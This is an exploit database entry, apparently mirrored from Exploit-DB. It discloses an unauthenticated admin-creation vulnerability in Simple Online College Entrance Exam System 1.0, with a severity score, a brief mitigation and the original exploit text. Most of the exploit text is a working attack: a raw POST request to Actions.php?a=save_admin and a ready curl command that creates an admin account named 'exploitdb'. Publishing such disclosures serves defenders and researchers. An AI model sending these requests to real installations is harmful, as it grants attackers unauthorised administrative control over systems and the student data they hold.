Simple Online College Entrance Exam System 1.0 - Unauthenticated Admin Creation

vendor:

Simple Online College Entrance Exam System

by:

Amine Ismail

7.5

CVSS

HIGH

Unauthenticated Admin Creation

284

CWE

Product Name: Simple Online College Entrance Exam System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:sourcecodester:simple_online_college_entrance_exam_system

Metasploit:

Other Scripts:

Platforms Tested: Windows 10, Kali Linux

2021

Simple Online College Entrance Exam System 1.0 – Unauthenticated Admin Creation

An unauthenticated admin creation vulnerability exists in Simple Online College Entrance Exam System 1.0. An attacker can send a POST request to the Actions.php page with the parameters id, fullname, username, and type to create an admin user. A proof-of-concept (PoC) to create an admin user named exploitdb and password exploitdb is provided.

Mitigation:

Ensure that authentication is required for all administrative functions.

Source

Exploit-DB raw data:

# Exploit Title: Simple Online College Entrance Exam System 1.0 - Unauthenticated Admin Creation
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated admin creation

Unauthenticated admin creation:
    
    Request:
        POST /entrance_exam/Actions.php?a=save_admin HTTP/1.1
        Host: 127.0.0.1
        Content-Length: 42

        id=&fullname=admin2&username=admin2&type=1

    PoC to create an admin user named exploitdb and password exploitdb:
    curl -d "id=&fullname=admin&username=exploitdb&type=1&password=916b5dbd201b469998d9b4a4c8bc4e08" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=save_admin'